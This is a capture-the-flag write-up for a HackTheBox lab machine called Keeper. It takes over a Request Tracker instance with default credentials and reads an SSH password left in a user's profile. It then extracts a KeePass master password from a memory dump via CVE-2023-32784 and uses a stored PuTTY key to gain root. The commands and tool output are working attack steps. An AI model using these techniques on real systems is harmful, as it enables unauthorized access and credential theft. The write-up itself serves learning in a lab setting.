Keeper

Nmap :p

nmap -sC -sV 10.129.x.x
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)

The website just has a link to tickets.keeper.htb/rt/, so we add that to our hosts file. It’s a login page for Request Tracker (RT) 4.4.4, which is an open source ticketing system.

Foothold

Looking up RT 4.4.4 and trying the default creds root:password gets us in as admin.

Checking the system config under /Admin/Tools shows the backend is a database called rtdb, but more importantly, looking at the users, we find lnorgaard with the email lnorgaard@keeper.htb. Looking into the lnorgaard user’s profile at /rt/Admin/Users/Modify.html?id=27:

image

We can see in the comments that the initial password is set to Welcome2023!. Let’s try SSHing with these creds:

ssh lnorgaard@keeper.htb

The creds work and we get SSH access and the user flag.

Privesc

There’s a RT30000.zip file in lnorgaard’s home directory. Unzipping it gives us two files:

lnorgaard@keeper:~$ unzip RT30000.zip
  inflating: KeePassDumpFull.dmp
 extracting: passcodes.kdbx

A KeePass database and a memory dump of KeePass. We pull both to our kali. My first try was cracking the database password with keepass2john and hashcat:

keepass2john passcodes.kdbx > out.txt
hashcat -m 13400 -a 0 out.txt /usr/share/wordlists/rockyou.txt

That just doesn’t work, so we try a different angle with the memory dump. KeePass 2.x before 2.54 has a bug (CVE-2023-32784) where every time you type a character into the master password box, a leftover string is left in memory. From a memory dump you can recover the whole master password except the first character.

https://github.com/z-jxy/keepass_dump

python3 keepass_dump.py -f KeePassDumpFull.dmp --skip --debug
[*] Skipping bytes
[*] Searching for masterkey characters
[*] 12358616 | Found: ●●d
[*] 12361106 | Found: ●●●g
[*] 12363716 | Found: ●●●●r
...
[*] 0:  {UNKNOWN}
[*] 2:  d
[*] 3:  g
[*] 4:  r
[*] 6:  <{d, e}>
[*] 7:
[*] 8:  m
[*] 9:  e
[*] 10: d
[*] 11:
[*] 12: f
[*] 13: l
[*] 15: d
[*] 16: e
[*] Extracted: {UNKNOWN}dgr<{d, e}> med flde

What is “dgrd med flde”? There are some missing characters in there, probably letters the tool couldn’t print. Remember lnorgaard’s language was set to Danish, so let’s just google it:

image

It’s a Danish dessert, rødgrød med fløde. The ø characters are what the tool was missing. Now we should be able to open the database. We can use keepassxc:

sudo apt install keepassxc -y
keepassxc passcodes.kdbx

When prompted, we type in rødgrød med fløde and it opens. There’s an entry for root on keeper.htb with a PuTTY SSH key in the notes:

PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
...
Private-Lines: 14
...
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0

PuTTY keys (.ppk) don’t work with normal OpenSSH, so googling how to convert it so it’s usable on kali, we find puttygen:

sudo apt install putty-tools
puttygen key.ppk -O private-openssh -o id_rsa
chmod 600 id_rsa
ssh root@keeper.htb -i id_rsa

Now we’re root and can grab the root flag.

Ez gg.